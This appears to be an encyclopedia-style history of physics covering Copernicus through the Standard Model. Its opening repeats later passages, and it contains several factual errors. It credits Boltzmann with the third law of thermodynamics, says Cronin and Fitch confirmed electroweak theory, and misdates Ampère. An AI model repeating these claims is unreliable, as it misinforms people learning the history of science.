          From the late seventeenth century onward, thermodynamics was developed by physicist and chemist Boyle, Young, and many others. In 1733, Bernoulli used statistical arguments with classical mechanics to derive thermodynamic results, initiating the field of statistical mechanics. In 1798, Thompson demonstrated the conversion of mechanical work into heat, and in 1847 Joule stated the law of conservation of energy, in the form of heat as well as mechanical energy. Ludwig Boltzmann, in the nineteenth century, is responsible for the modern form of statistical mechanics.


          Classical mechanics was re-formulated and extended by Leonhard Euler, French mathematician Joseph-Louis Comte de Lagrange, Irish mathematical physicist William Rowan Hamilton, and others, who produced new results in mathematical physics. The law of universal gravitation initiated the field of astrophysics, which describes astronomical phenomena using physical theories. Newton's Law of gravitation also helped put celestial mechanics on proper scientific and mathematical footing.


          After Newton defined classical mechanics, the next great field of inquiry within physics was the nature of electricity. Observations in the seventeenth and eighteenth century by scientists such as Robert Boyle, Stephen Gray, and Benjamin Franklin created a foundation for later work. These observations also established our basic understanding of electrical charge and current.


          By 1808 John Dalton had discovered that atoms of different elements have different weights and proposed the modern theory of the atom.


          It was Hans Christian rsted who first proposed the connection between electricity and magnetism after observing the deflection of a compass needle by a nearby electric current. By the early 1830s Michael Faraday had demonstrated that magnetic fields and electricity could generate each other. In 1864 James Clerk Maxwell presented to the Royal Society a set of equations that described this relationship between electricity and magnetism. Maxwell's equations also predicted correctly that light is an electromagnetic wave.


          The Scientific Revolution began in the late 16th century with only a few researchers, and evolved into an enterprise which continues to the present day. Starting with astronomy, the principles of natural philosophy] crystallized into fundamental laws of physics which were enunciated and improved in the succeeding centuries. By the 19th century, the sciences had segmented into multiple fields with specialized researchers and the field of physics, although logically pre-eminent, no longer could claim sole ownership of the entire field of scientific research.
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          16th century


          In the 16th century Nicolaus Copernicus revived Aristarchus' heliocentric model of the solar system in Europe (which survived primarily in a passing mention in The Sand Reckoner of Archimedes). When this model was published at the end of his life, it was with a preface by Andreas Osiander that piously represented it as only a mathematical convenience for calculating the positions of planets, and not an account of the true nature of the planetary orbits.


          In England William Gilbert (1544-1603) studied magnetism and electricity, and published a seminal work, De Magnete (1600), in which he thoroughly presented his numerous experimental results. Gilbert who designed the versorium: a device that detected the presence of statically charged objects.
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          17th century


          In the early 17th century, the invention of the telescope and microscope, which is claimed to have been invented by three individuals ( Hans Lippershey, Jacob Metius, and Zacharias Jansen) would have profound implications on the history of science, in particular astronomy and physics. In the early 17th century Johannes Kepler formulated a model of the solar system based upon the five Platonic solids, in an attempt to explain why the orbits of the planets had the relative sizes they did. His access to extremely accurate astronomical observations by Tycho Brahe enabled him to determine that his model was inconsistent with the observed orbits. After a heroic seven-year effort to more accurately model the motion of the planet Mars (during which he laid the foundations of modern integral calculus) he concluded that the planets follow not circular orbits, but elliptical orbits with the Sun at one focus of the ellipse. This breakthrough overturned a millennium of dogma based on Ptolemy's idea of "perfect" circular orbits for the "perfect" heavenly bodies. Kepler then went on to formulate his three laws of planetary motion. He also proposed the first known model of planetary motion in which a force emanating from the Sun deflects the planets from their "natural" motion, causing them to follow curved orbits.


          In 1643, Evangelista Torricelli invented the barometer, which arose from solving an important practical problem. Torricelli discovered Torricelli's Law, regarding the speed of a fluid flowing out of an opening, which was later shown to be a particular case of Bernoulli's principle. Torricelli also devised an equation sometimes called Torricelli's equation, which is used in the study of kinematics.


          In 1660, Robert Hooke, an English scientist, formulated Hooke's law of elasticity, which describes the linear variation of tension with extension in an elastic spring.


          An important device, the vernier, which allows the accurate mechanical measurement of angles and distances was invented by a Frenchman, Pierre Vernier, in 1631. It is in widespread use in scientific laboratories and machine shops to this day.


          Otto von Guericke constructed the first air pump in 1650 and demonstrated the physics of the vacuum and atmospheric pressure using the Magdeburg hemispheres. Later, he turned his interests to static electricity, and he invented a mechanical device consisting of a sphere of sulfur that could be turned on a crank and repeatedly charged and discharged to produce electric sparks.


          In 1656 the Dutch physicist and astronomer, Christian Huygens, invented a mechanical clock using a pendulum that swung through an elliptical arc, powered by a falling counterweight, to usher in the era of accurate timekeeping. Huygens also formulated Newton's second law of motion, but in quadratic form. Huygens greatest contribution comes from his early theory that light travels in waves (Waveparticle duality), and for his development of HuygensFresnel principle, along with French physicist Augustin-Jean Fresnel. This mathematical principle provided a method of analysis that could be applied to problems of wave propagation, and it would have applications in the later development of quantum mechanics.


          The first quantitative estimate of the speed of light was made in 1676 by Ole Rmer, by timing the motions of Jupiter's satellite Io with a telescope.


          During the early 17th century, Galileo Galilei made extensive use of experimentation to validate physical theories, which is the key idea in the scientific method. Galileo's use of experiment, and the insistence of Galileo and Kepler that observational results must always take precedence over theoretical results (in which they followed the precepts of Aristotle if not his practice), brushed away the acceptance of dogma, and gave birth to an era where scientific ideas were openly discussed and rigorously tested. Galileo formulated and successfully tested several results in dynamics, including the correct law of accelerated motion, the parabolic trajectory, the relativity of unaccelerated motion, and an early form of the Law of Inertia.


          A French mathematician and scientist Blaise Pascal invented the hydraulic press, and an early calculator. Pascal also formulated Pascal's law, which states that for all points at the same absolute height in a connected body of an incompressible fluid at rest, the fluid pressure is the same, even if additional pressure is applied on the fluid at some place. Pascal also wrote many important papers on the scientific method.


          Ren Descartes, French mathematician, philosopher, and natural scientist, invented analytic geometry, and discovered the law of conservation of momentum. He outlined his views on the universe in his Principles of Philosophy.


          In 1687, Isaac Newton published the Philosophiae Naturalis Principia Mathematica, detailing two comprehensive and successful physical theories: Newton's laws of motion, from which arise classical mechanics; and Newton's Law of Gravitation, which describes the fundamental force of gravity. Newton's theory of gravity would be so successful that it would be used by William Herschel a century later to discover a new planet in the solar system, Uranus. The Law of Gravitation initiated the field of astrophysics and celestial mechanics, which describes astronomical phenomena using physical theories. In the Principia Mathematica Newton also enunciated the principles of conservation of momentum and the conservation of angular momentum. Later on in life Newton would move on to formulate the law of cooling and developed a theory of light based on his experiments with decomposing light through a prism. Newton would also invent a reflecting telescope and along with Gottfried Leibniz would move on to independently of one another invent calculus, which has many important applications in physics.


          The 17th century would also witness the beginning of the metric system, which would result in the formation of set of standards for weight and measurements. Early work in developing the metric system were pioneered by John Wilkins, Gabriel Mouton, and Antoine Lavoisier among others.


          [bookmark: 18th_century]


          18th century
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          From the 18th century onwards, thermodynamic concepts were developed by Robert Boyle, Thomas Young, and many others, concurrently with the development of the steam engine, onward into the next century. In 1733, Daniel Bernoulli used statistical arguments with classical mechanics to derive thermodynamic results, initiating the field of statistical mechanics. Bernoulli would also lay the foundation of kinetic molecular theory in 1738, with the publication of Hydrodynamica. In Hydrodynamica, Bernoulli would state that all gases consist of molecules that are constantly in motion, moving in all directions, and impacting on surfaces. It was these movements and impacts that resulted in pressure, and that heat is the kinetic energy of these moving molecules. Another pioneer of kinetic molecular theory during the 18th century was Mikhail Lomonosov. Kinetic molecular theory would have wide ranging applications in physics, in particular thermodynamics, and chemistry. Bernoulli would also move on to develop what become known as Bernoulli's principle. It states that when an ideal fluid that has no work acting on it, an increase in velocity will result in a simultaneous decrease in pressure or a change in the fluids gravitational potential energy. The principle plays a central role in fluid dynamics and would have considerable impact on the development of aerodynamics in the 19th and 20th century. During the beginning of the 18th century methods were slowly taking shape in order to provide a standard set of measures to determine temperature. One set of measure was put forward by Anders Celsius in 1742. A peculiarity of Celsius scale was that melting point of an object was set at 0 degrees Celsius and was not until a famous botanist, Carl Linnaeus, would have the scale inverted to read boiling point being at 100 degrees Celsius. Another method for determining temperature was put forward by Gabriel Fahrenheit, in 1724. Both methods are named after their respective originators and both are used interchangeably by scientists all over the world to the present date.


          In 1729 the English Astronomer Royal James Bradley gave the first empirical proof of heliocentrism, by explaining stellar aberration from the hypotheses of the finite speed of light and the Earth annually orbiting the Sun, after which the prevailing geoheliocentric planetary models were abandoned in favour of heliocentrism.


          In 1746 an important step in the development of electricity was taken in the invention of the Leyden jar, a capacitor, that could store and discharge electrical charge in a controlled way. In the 18th century many of the fundamental concepts about the nature of electricity were discovered. In 1733, C. F. du Fay, discovered the existence of two types of electricity and named them "vitreous" and "resinous" (later known as positive and negative charge respectively). William Watson, in 1747 discovered that a discharge of static electricity was equivalent to an electric current. Charles Augustin de Coulomb formulated Coulomb law, which gives the definition of the electrostatic force of attraction and repulsion. Nearing the 18th century Andr-Marie Ampre discovered the relationship that relates the circulating magnetic field in a closed loop to the electric current passing through the loop. Carl Friedrich Gauss would develop Gauss's law which is used in the electrostatic application of the generalized Gauss's theorem giving the equivalence relation between any flux, e.g. of liquids, electric or gravitational, flowing out of any closed surface and the result of inner sources and sinks, such as electric charges or masses enclosed within the closed surface. Nearing the end of the century the relationship that exists between magnetism and electricity continued to described which resulted in the formulation of the fundamental equation of the Biot-Savart Law, which is an equation in electromagnetism that describes the magnetic field vector B in terms of the magnitude and direction of the source electric current, the distance from the source electric current, and the magnetic permeability weighting factor. In the mid 18th century Henry Cavendish made important discoveries concerning electricity. Among Cavendish's discoveries were the concept of electric potential, an early unit of capacitance, a formula for the capacitance of a plate capacitor, concept of the dielectric constant of a material, and Laws for the division of current in parallel circuits, now attributed to Charles Wheatstone. Cavendish also devised a method that allowed for the first time in obtaining a numerical value for gravity. Benjamin Thompson]] demonstrated the conversion of unlimited mechanical work into heat. Other pioneers were Robert Boyle, who in 1675 stated that electric attraction and repulsion can act across a vacuum; Stephen Gray, who in 1729 classified materials as conductors and insulators and Luigi Galvani discovered that muscle and nerve cells produce electricity. Benjamin Franklin effectively used them (together with von Guericke's generator) in his researches into the nature of electricity in 1752 In about 1788, Joseph Louis Lagrange elaborated an important new formulation of mechanics using the calculus of variations, the principle of least action and the EulerLagrange equations This led to the development of what is called Lagrangian mechanics, which fuses classical mechanics with conservation of momentum and conservation of energy. The end of the 18th century would also witness a historic change as profound if not more than the agricultural revolution. It began with the conversion of steam into mechanical energy, which would ultimately lead to the industrial revolution. Various steam engines were developed from Thomas Newcomen's to James Watts steam engines. The industrial revolution is significant in terms of physics because as various steam engines were being developed there was a greater need to make them more powerful and efficient. It was this quest to make steam engines more efficient that would lead to the development of the branch of physics called thermodynamics ( History of thermodynamics). It is the subsequent discoveries in thermodynamics that led to technological wonders such as the internal combustion engine and other forms of heat engines, which are used to power airplanes, automobiles, locomotives, and all forms of mobile transport. The 18th century would witness an explosive growth of mathematical physics, which would help formulation of theories that would come about in the 19th and 20th century. The most important work mathematical physics came from the development of wave equations. These second-order linear partial differential equation that describes the propagation of a variety of waves, such as sound waves, light waves and water waves. They are extensively used fields such as acoustics, electro magnetics, and fluid dynamics. These equations were developed and studied by Jean le Rond d'Alembert, Leonhard Euler, Daniel Bernoulli, and Joseph-Louis Lagrange.


          


          Modern physics
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          19th century


          In a letter to the Royal Society in 1800, Alessandro Volta described his invention of the electric battery, thus providing for the first time the means to generate a constant electric current, and opening up a new field of physics for investigation. In announcing his discovery of the pile, Volta paid tribute to the influences of William Nicholson, Tiberius Cavallo and Abraham Bennet. Volta also studied what we now call capacitance, developing separate means to study both electrical potential V and charge Q, and discovering that for a given object they are proportional. This may be called Volta's Law of Capacitance, and likely for this work the unit of electrical potential has been named the volt.


          The onset of 1800 also witnessed William Herschel's discoverey of infrared radiation by passing sunlight through a prism and holding a thermometer just beyond the red end of the visible spectrum. This thermometer was meant to be a control to measure the ambient air temperature in the room. He was shocked when it showed a higher temperature than the visible spectrum. Further experimentation led to Herschel's conclusion that there must be an invisible form of light beyond the visible spectrum.


          Some of the most important experiments during the on set of the 19th century were performed by Thomas Young. Young would demonstrate the wave nature of light and finally provide evidence to overturn a long held theory put forward by Isaac Newton that light consisted of particles. With the ripple tank he demonstrated the idea of interference in the context of water waves. With the two-slit, or double-slit experiment, he demonstrated interference in the context of light as a wave. In the two-slit experiment, c. 1801, Young passed a beam of light through two parallel slits in an opaque screen; on the other side was a white screen, where a pattern of alternating light and dark bands formed. This supported Young's contention that light is composed of waves. Young performed and analyzed a number of experiments, including interference of light from reflection off nearby pairs of micrometer grooves, from reflection off thin films of soap and oil, and from Newton's rings. He also performed two important diffraction experiments using fibers and long narrow strips. Within ten years, much of Young's work was reproduced and then extended by Fresnel. In 1817, Young had proposed a small transverse component to light, while yet retaining a far larger longitudinal component. Fresnel, by the year 1821, was able to show via mathematical methods that polarization could be explained only if light was entirely transverse, with no longitudinal vibration whatsoever.


          By 1808 John Dalton's earlier ideas about the existence of atoms of different weights and the law of multiple proportions had led him to the modern theory of the atom and many other theories used today in modern physics. The convergence of various estimates of Avogadro's number lent decisive evidence for atomic theory.


          In 1807 Thomas Young described the characterization of elasticity that came to be known as Young's modulus, denoted as E, in 1807, and further described it in his subsequent works such as his 1845 Course of Lectures on Natural Philosophy and the Mechanical Arts, which is used to determine the stiffness of a material. In 1804 Young founded the theory of capillary phenomena on the principle of surface tension. He also observed the constancy of the angle of contact of a liquid surface with a solid, and showed how from these two principles to deduce the phenomena of capillary action.


          In 1822, Claude-Louis Navier and George Gabriel Stokes would publish a series of papers on equations that are central to fluid dynamics and would later be called NavierStokes equations. These set of equations describe the motion of fluid substances such as liquids and gasses. The genius of these set of equations comes from their versatility in several varying branches of science. They can be used to model weather, ocean currents, water flow in pipes, blood flow, flow around an airfoil, motion of stars inside a galaxy, and when combined with Maxwell's equations can be used to model Magnetohydrodynamics. Therefore; NavierStokes equations play a central role design of aircraft, cars, power stations, and used in the analysis of the effects of pollution. Claude-Louis Navier would move onto to form the general theory of elasticity in 1821, and would eventually develop the elastic modulus in 1826. It is for his work on the elastic modulus that Navier is often referred to as the founder of structural analysis.


          The Coriolis effect was discovered by Gaspard-Gustave Coriolis, in 1835. Coriolis effect is an apparent deflection of moving objects from a straight path when they are viewed from a rotating frame of reference. The mathematics used by Coriolis to describe this phenomenon appeared in the tidal equations of Pierre-Simon Laplace in 1778. The effect has a wide varitey of applications in physics but play a particularly important role in meteorology.
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          Although early investigations into a branch of physics called thermodynamics were done by Boyle, Hooke, and Guericke among others, the science did not come into its own until the work of a young French physicist and military engineer called Sadi Carnot. In 1824 Carnot published the Reflections on the Motive Power of Fire, which is considered the founding paper in thermodynamics. In this paper Carnot established a general theory of heat engines. Carnot outlined the principles of what would later become known as the Carnot cycle, the Carnot heat engine, Carnot theorem, and thermodynamic efficiency, to name a few. This monumental work laid the foundations for the first law of thermodynamics and the second law of thermodynamics.


          The behaviour of electricity and magnetism was studied by Michael Faraday, Georg Ohm, Hans Christian rsted, and others. Faraday, who began his career in chemistry working under Humphry Davy at the Royal Institution, demonstrated that electrostatic phenomena, the action of the newly discovered electric pile or battery, electrochemical phenomena, and lightning were all different manifestations of electrical phenomena.. Faraday further discovered in 1821 that electricity can cause rotational mechanical motion, and in 1831 discovered the principle of electromagnetic induction, by which means a moving magnet induces an electrical current in a conductor. Thus it was Faraday who laid the foundations for both the electric motor and the electric generator. Faraday also formulated a physical conception of electromagnetic fields. Discoveries in electricity and magnetism would have a profound effect upon society. The principles of electromagnetism find applications in various allied disciplines such as microwaves, antennas, electric machines, satellite communications, bioelectromagnetics, plasmas, nuclear research, fibre optics, electromagnetic interference and compatibility, electromechanical energy conversion, radar meteorology, and remote sensing. Electromagnetic devices include transformers, electric relays, radio/TV, telephones, electric motors, transmission lines, waveguides, optical fibers, and lasers.


          Classical mechanics was given a new formulation by William Rowan Hamilton ( Hamiltonian Mechanics), in 1833 with the introduction of what is now called the Hamiltonian, which a century later gave an entry to wave mechanical formulation of quantum mechanics. During its first 1868 meeting, notable oceanographer Matthew F. Maury helped launch the American Association for the Advancement of Science (AAAS) by giving a very influential lecture on Wind and Current Charts which gave rise to one of the first examples of international scientific collaboration.
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          James Clerk Maxwell built upon Michael Faraday's physical conception of electromagnetic fields with an interlinked set of twenty equations that explained the interactions between electric and magnetic fields and unified the two phenomena into a single theory of electromagnetism. Maxwell's equations were presented to the Royal Society in 1864. These twenty equations were later reduced, using vector calculus, to a set of four equations by Oliver Heaviside. A prediction of Maxwell's equations was that light is an electromagnetic wave. Confirmation of Maxwell's insight into electromagnetism was made with the observation, in 1888, and the discovery of radio by Heinrich Hertz and in 1895 when Wilhelm Roentgen detected X-rays. Aside from Maxwell's work in the electromagnetism, he would also make important contributions to thermodynamics through a set of equations called Maxwell Relations, which provide an experimental way in which to measure entropy. Maxwell along with Ludwig Boltzmann would establish MaxwellBoltzmann, which is a probability distribution for molecular speeds in a gas.


          In 1842, an Austrian scientist by the name of Christian Doppler would publish a paper on what would become known as the Doppler effect. The summation of his work was an equation which described a change in frequency and wavelength of a wave as perceived by an observer moving relative to the source of the waves. In 1848, John Scott Russell conducted a series of experiments to verify some of the conclusions of the Doppler effect. The equation has applications has applications in astronomy, temperature measurement, radar, medical imaging, flow measurement, and underwater acoustics.


          Building upon the work of physicists before him a young German physicist by the name of Gustav Kirchhoff, while still a student in 1845, would formulate Kirchhoff's circuit laws, which are now used in all of electrical engineering. In 1859 Kirchoff would proceed to explain what became known as Kirchoff's law of thermal radiation, which provided a general statement about emission and absorption in heated objects. Later on in his career Kirchoff would work with Robert Bunsen to establish the field of spectroscopy, specifically through their formulation of Kirchoff's three laws of spectroscopy.


          In 1847 James Prescott Joule stated the law of conservation of energy, in the form of heat as well as mechanical energy. However, the principle of conservation of energy had been suggested in various forms by perhaps a dozen German, French, British and other scientists during the first half of the 19th century. About the same time, entropy and the second law of thermodynamics were first clearly described in the work of Rudolf Clausius. In 1875 Ludwig Boltzmann made the important connection between the number of possible states that a system could occupy and its entropy. With two installments in 1876 and 1878, Josiah Willard Gibbs developed much of the theoretical formalism for thermodynamics, and a decade later firmly laid the foundation for statistical mechanics  much of which Ludwig Boltzmann had independently invented. In 1881 Gibbs also was very influential in moving much of the notation of physics from Hamilton's quaternions to vectors. From 1873-76 Gibbs would help to apply thermodynamics to chemical processes, thus laying the foundations of chemical thermodynamics. Gibbs would publish 3 papers, the most famous being titled On the Equilibrium of Heterogeneous Substances in which he demonstrated that thermodynamic processes could be graphically analyzed, by studying the energy, entropy, volume, temperature and pressure of the thermodynamic system, in such a manner to determine if a process would occur spontaneously. The first and second laws of thermodynamics emerged in the 1850s, primarily out of the works of William Rankine, Rudolf Clausius, and William Thomson. The third law of thermodynamics, which was established by Ludwig Boltzmann, states that the entropy of a pure substance approaches zero as the absolute temperature approaches zero.


          The discovery of the Hall effect in 1879 gave the first direct evidence that the carrier of electricity was negatively charged. In 1879, Sir William Crookes would discover a new form of matter which he called "radiant matter". What Crookes has discovered was what became known as plasma, the most abundant state of matter in the universe. Crookes was able to make his discovery of plasma by inventing the Crookes tube. The discovery of plasma is important because it constitutes the first time since a new state of matter had been discovered, aside from common knowledge of solids, liquids, and gases. Secondly, further research into plasma demonstrated its importance not only to science but also many technological applications such as plasma displays, fusion energy research, and production of integrated circuits to name a few.


          Dimensional analysis was used for the first time in 1878 by Lord Rayleigh who was trying to understand why the sky is blue. In 1887 the Michelson-Morley experiment was conducted and it was interpreted as counter to the generally held theory of the day, that the Earth was moving through a "luminiferous aether". Albert Abraham Michelson and Edward Morley were not fully convinced of the non-existence of the aether. Morley conducted further experiments with Dayton Miller with improved interferometers, again giving null results.
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          In 1887, Nikola Tesla investigated X-rays using his own devices as well as Crookes tubes. In 1895, Wilhelm Conrad Rntgen observed and analysed X-rays, which turned out to be high-frequency electromagnetic radiation. Radioactivity was discovered in 1896 by Henri Becquerel, and further studied by Pierre and Marie Curie and others. This initiated the field of nuclear physics.


          In the late 19th century Johannes Diderik van der Waals would postulate the existence of forces which act between molecules, but are weak compared to those in chemical bonds. These forces would later be named Van der Waals forces. A German physict by the name of Fritz London would also discover similar forces which Waals had first proposed. Van der Waals forces occupy an important role in thermodynamics and chemistry.


          In 1897, J. J. Thomson deduced that cathode rays were composed of negatively charged particles, which he called "corpuscles", later realized to be electrons. Philipp Lenard showed that the particles ejected in the photoelectric effect were the same as those in cathode rays, and that the energy of each particle was independent of the intensity of the light, but was greater for short wavelengths of the incident light.


          These discoveries revealed that the assumption of many physicists, that atoms were the basic unit of matter, was flawed, and prompted further study into the structure of atoms, such as Ernest Rutherford's in 1911.


          [bookmark: 20th_century]


          20th century
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          The turn of the 20th century brought the start of a revolution in physics. This revolution centered around the development of quantum mechanics and special and general relativity, the two concepts that mark the advent of modern physics. Both of these theories would offer fundamental insights into the universe and the laws the govern it. Quantum mechanics would describe the microscopic nature of matter, while relativity would describe space and time.


          The zeroth law of thermodynamics, which is a generalized statement about bodies in contact at thermal equilibrium and the basis for the concept of temperature, was formalized in the early 20th century, although the principles behind the law were well known in the 19th century. In 1929, Lars Onsager, would establish Onsager reciprocal relations-sometimes referred to as the fourth law of thermodynamics.


          The Lorentz transformations, the fundamental equations of special relativity, were published in 1897 and 1900 by Joseph Larmor and also in 1899 and 1904 by Hendrik Lorentz. They both showed that Maxwell's equations were invariant under the transformations. The ability to describe light in electromagnetic terms helped serve as a springboard for Albert Einstein's publication of the theory of special relativity in 1905. This theory combined classical mechanics with Maxwell's equations. The theory of special relativity unifies space and time into a single entity, spacetime. Relativity prescribes a different transformation between reference frames than classical mechanics; this necessitated the development of relativistic mechanics as a replacement for classical mechanics. In the regime of low (relative) velocities, the two theories agree.


          In 1900, Max Planck published his explanation of blackbody radiation. This equation assumed that radiators are quantized, which proved to be the opening argument in the edifice that would become quantum mechanics. By introducing discrete energy levels, Planck, Einstein, Niels Bohr, and others developed quantum theories to explain other anomalous experimental results like the photoelectric effect. The discovery of quantum mechanics in the early 20th century revolutionized physics, and quantum mechanics is fundamental to most areas of current research.


          In 1904, J. J. Thomson proposed the first model of the atom, known as the plum pudding model. In 1911, Ernest Rutherford deduced from scattering experiments the existence of a compact atomic nucleus, with positively charged constituents dubbed protons. The first quantum mechanical model of the atom, the Bohr model, was published in 1913 by Niels Bohr. Sir W. H. Bragg and his son Sir William Lawrence Bragg, also in 1913, began to unravel the arrangement of atoms in crystalline matter by the use of x-ray diffraction. Neutrons, the neutral nuclear constituents, were discovered in 1932 by James Chadwick.


          One of the most important concepts in modern physics and one which would help usher in quantum mechanics was proposed by Louis de Broglie. Broglie's 1922 doctoral thesis, Recherches sur la thorie des quanta (Research on Quantum Theory), introduced his theory of electron waves. This included the wave-particle duality theory of matter, based on the work of Albert Einstein and Planck. This research culminated in the de Broglie hypothesis stating that any moving particle or object had an associated wave. De Broglie thus created a new field in physics, the mcanique ondulatoire, or wave mechanics, uniting the physics of light and matter. Among the applications of this work has been the development of electron microscopes to get much better image resolution than optical ones, because of shorter wavelengths of electrons compared with photons of visible light.
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          After his discovery of the atomic nucleus, Rutheford along with Frederick Soddy went on to achieve the first case of nuclear transmutation, a phenomenon which had been speculated since the time of the Greeks. Rutheford and Soddy noticed they had achieved this when, during their experiments in 1901, radioactive thorium converted into radium. The equivalence of mass and energy (Einstein, 1905) was spectacularly demonstrated during World War II, as research was conducted by each side into nuclear physics, for the purpose of creating a nuclear bomb. The German effort, led by Heisenberg, did not succeed, but the Allied Manhattan Project reached its goal. In America, a team led by Fermi achieved the first man-made nuclear chain reaction in 1942, and in 1945 the world's first nuclear explosive was detonated at Trinity site, near Alamogordo, New Mexico.


          In 1915, Einstein extended special relativity to describe gravity with the general theory of relativity. One principal result of general relativity is the gravitational collapse into black holes, which was anticipated two centuries earlier, but elucidated by Robert Oppenheimer. Important exact solutions of Einstein's field equation were found by Karl Schwarzschild in 1915 and Roy Kerr only in 1963. One part of the theory of general relativity is Einstein's field equation. This describes how the stress-energy tensor creates curvature of spacetime and forms the basis of general relativity. Further work on Einstein's field equation produced results which predicted the Big Bang, black holes, and the expanding universe. Einstein believed in a static universe. He tried, and failed, to fix his equation to allow for this. In 1929, however, Edwin Hubble published his discovery that that the universe is expanding at a possibly exponential rate. This is the basis for understanding that the universe is expanding. Thus, the universe must have been smaller and therefore hotter in the past. In 1933 Karl Jansky at Bell Labs discovered the radio emission from the Milky Way, and thereby initiated the science of radio astronomy. By the 1940s, researchers like George Gamow proposed the Big Bang theory, evidence for which was discovered in 1964; Enrico Fermi and Fred Hoyle were among the doubters in the 1940s and 1950s. Hoyle had dubbed Gamow's theory the Big Bang in order to debunk it. Today, it is one of the principal results of cosmology.


          According to Cornelius Lanczos, any physical law which can be expressed as a variational principle describes an expression which is self-adjoint or Hermitian. Thus such an expression describes an invariant under a Hermitian transformation. Felix Klein's Erlangen program attempted to identify such invariants under a group of transformations. Noether's theorem identified the conditions under which the Poincar group of transformations (what is now called a gauge group) for general relativity define conservation laws. The relationship of these invariants (the symmetries under a group of transformations) and what are now called conserved currents, depends on a variational principle, or action principle. Noether's papers made the requirements for the conservation laws precise. Noether's theorem remains right in line with current developments in physics to this day.


          
            [image: Erwin Schrödinger]

            
              Erwin Schrdinger
            

          


          In 1925 Wolfgang Pauli elucidated the Pauli exclusion principle and introduced the notion of quantized spin and fermions. Over the next several years, quantum mechanics would be formulated by Werner Heisenberg, Erwin Schrdinger and Paul Dirac in different ways which both explained the preceding heuristic quantum theories. In quantum mechanics, the outcomes of physical measurements are inherently probabilistic; the theory describes the calculation of these probabilities. It successfully describes the behaviour of matter at small distance scales. In 1925 Schrdinger formulated wave mechanics, which provided a consistent mathematical method for describing a wide variety of physical situations such as the particle in a box and the quantum harmonic oscillator which he solved for the first time. That same year Heisenberg described an alternative mathematical method, called matrix mechanics, which proved to be equivalent to wave mechanics. In 1928 Dirac produced a relativistic formulation built on Heisenberg's matrix mechanics, and predicted the existence of the positron and founded quantum electrodynamics. During the 1920s Schrdinger, Heisenberg, and Max Born were able to formulate a consistent picture of the chemical behaviour of matter, a complete theory of the electronic structure of the atom, as a byproduct of the quantum theory.


          Quantum mechanics also provided the theoretical tools for condensed matter physics, whose largest branch is solid state physics. It studies the physical behaviour of solids and liquids, including phenomena such as crystal structures, semiconductivity, and superconductivity. The pioneers of condensed matter physics include Felix Bloch, who created a quantum mechanical description of the behaviour of electrons in crystal structures in 1928. Much of the behaviour of solids was elucidated within a few years with the discovery of the Fermi surface which was based on the idea of the Pauli exclusion principle applied to systems having many electrons. The understanding of the transport properties in semiconductors as described in William Shockley's Electrons and holes in semiconductors, with applications to transistor electronics enabled the electronic revolution of the twentieth century through the development of the ubiquitous, ultra-cheap transistor. The transistor was developed by physicists John Bardeen, Walter Houser Brattain, and William Bradford Shockley in 1947 at Bell Laboratories. The transistor is a semiconductor device that can be used to amplify or switch electronic signals. The transistor is the fundamental building block of computers, and all other modern electronic devices. The invention of the transistor and the integrated circuit would usher in the electronics age and the subsequent information revolution.


          During the early stages of particle physics, physicists noticed a type of radioactive decay that occurred in the atomic nucleus, which gave of alpha particles that consisted of two protons and neutrons in a particle that resembled the helium nucleus. The phenomenon would be called alpha decay. In 1928, George Gamow used the concept of quantum tunneling, formulated earlier in quantum mechanics, to successfully explain alpha decay. Quantum tunneling states there is a process by which a particles can penetrate a potential barrier that has a higher kinetic energy then the particle itself. The principle of quantum tunneling would have important implications for all of particle physics, and as time passed would have practical technological applications.


          In 1934, the Italian physicist Enrico Fermi had discovered strange results when bombarding uranium with neutrons, which he believed at first to have created transuranic elements. In 1939, it was discovered by the chemist Otto Hahn and the physicist Lise Meitner that what was actually happening was the process of nuclear fission, whereby the nucleus of uranium was actually being split into two pieces, releasing a considerable amount of energy in the process. At this point it became clear to a number of scientists independently that this process could potentially be harnessed to produce massive amount of energy, either as a civilian power source or as a weapon. Le Szilrd actually filed a patent on the idea of a nuclear chain reaction in 1934. In America, a team led by Fermi and Szilrd achieved the first man-made nuclear chain reaction in 1942 in the world's first nuclear reactor, and in 1945 the world's first nuclear explosive was detonated at Trinity Site, north of Alamogordo, New Mexico. After the war, central governments would become the primary sponsors of physics. The scientific leader of the Allied project, theoretical physicist Robert Oppenheimer, noted the change of the imagined role of the physicist when he noted in a speech that:


          
            	"In some sort of crude sense, which no vulgarity, no humor, no overstatement can quite extinguish, the physicists have known sin, and this is a knowledge which they cannot lose."

          


          Though the process had begun with the invention of the cyclotron by Ernest O. Lawrence in the 1930s, nuclear physics in the postwar period entered into a phase of what historians have called " Big Science", requiring costly huge accelerators and particle detectors, and large collaborative laboratories to test open new frontiers. The primary patron of physics became central governments, who recognized that the support of "basic" research could sometimes lead to technologies useful to both military and industrial applications. Toward the end of the twentieth century, a European collaboration of 20 nations, CERN, became the largest particle physics laboratory in the world.


          Another "big science" was the science of ionized gases, plasma, which had begun with Crookes tubes late in the 19th century. Large international collaborations over the last half of the twentieth century embarked on a long range effort to produce commercial amounts of electricity through fusion power, which remains a distant goal.


          Further understanding of the physics of metals, semiconductors and insulators led a team of three men at Bell labs, William Shockley, Walter Brattain and John Bardeen in 1947 to the first transistor and then to many important variations, especially the bipolar junction transistor. Further developments in the fabrication and miniaturization of integrated circuits in the years to come produced fast, compact computers that came to revolutionize the way physics was donesimulations and complex mathematical calculations became possible that were undreamed of even a few decades previous.


          The discovery of nuclear magnetic resonance in 1946 led to many new methods for examining the structures of molecules and became a very widely used tool in analytical chemistry, and it gave rise to an important medical imaging technique, magnetic resonance imaging.


          Quantum field theory was formulated in order to extend quantum mechanics to be consistent with special relativity, and was developed in the late 1940s in the work of Richard Feynman, Julian Schwinger, Sin-Itiro Tomonaga, and Freeman Dyson. They formulated the theory of quantum electrodynamics, which describes the electromagnetic interaction, and successfully explained the Lamb shift. This provided the framework for modern particle physics, which studies fundamental forces and elementary particles. Chen Ning Yang and Tsung-Dao Lee, in the 1950s, discovered an unexpected asymmetry in the decay of a subatomic particle. In 1954, Yang and Robert Mills then developed a class of gauge theories which provided the framework for understanding the nuclear forces (Yang, Mills 1954). The theory for the strong nuclear force was first proposed by Murray Gell-Mann. The electroweak force, the unification of the weak nuclear force with electromagnetism, was proposed by Sheldon Lee Glashow, Abdus Salam, and Steven Weinberg and confirmed in 1964 by James Watson Cronin and Val Fitch. This led to the so-called Standard Model of particle physics in the 1970s, which successfully describes all the elementary particles observed to date.


